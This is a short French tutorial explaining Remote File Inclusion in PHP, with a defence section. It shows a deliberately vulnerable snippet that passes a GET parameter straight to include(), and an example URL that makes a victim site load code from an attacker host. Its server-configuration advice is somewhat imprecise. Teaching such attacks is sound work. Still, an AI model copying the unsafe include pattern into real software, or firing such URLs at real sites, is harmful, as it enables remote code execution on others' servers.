Remote File Inclusion - RFI
Définition
RFI (pour Remote File Inclusion) est une attaque dont le principe est très proche de Null Byte Injection vu précédemment. D'ailleurs les deux attaques peuvent être combinées pour améliorer les chances de succès de l'attaque.
Cette attaque vise à inclure des fichiers externes au moment de l'exécution du code. Comme pour les autres attaques, la vulnérabilité est créée à cause de l'imprudence du développeur qui ne vérifie pas assez les entrées du site Web.
Si l'attaque RFI réussit alors elle peut causer plein d'ennuies comme par exemple:
- Exécution d'un code externe malveillant sur le site victime.
- Affichage du contenu d'un fichier local non autorisé en temps normal (Presque le même principe que le Null Byte Attack).
- Affichage du code source PHP.
Exploitation
Supposons que le code da la page vulnérable au RFI contient ceci:
<?php
$page=$_GET["page"];
include($page);
?>
Si le pirate passe à travers l'URL l'adresse suivante:
http://www.site-victime.com/pageVulnérable.php?page=http://www.sitePirate.com/codeMalveillant.txt
Alors le code malveillant sera inclus dans le site victime et aura toutes les chances de s'exécuter et provoquer ainsi des dégâts qui peuvent être irrémédiables.
Comment s'en protéger?
Au niveau du code PHP
Comme pour les autres attaques, pour se prémunir contre le Remote File Injection, le meilleur moyen en PHP est de bien filtrer les entrées et n'autoriser que certaines occurrences que l'on aurait fixé au préalable. Et vu que le paramètre GET passé par le pirate est souvent trop long, on peut déjà commencer par limiter la longueur autorisée.
Au niveau de la configuration du serveur
En PHP, il existe une directive qui permet de spécifier si l'on autorise ou non de récupérer des fichiers externes pour les inclure au moment de l'exécution. Le bon sens dit qu'il ne faut pas autoriser cette pratique vue le risque imminent qu'elle présente.
Sur le fichier
php.ini il faut désactiver la directive suivante:
allow_url_fopen = Off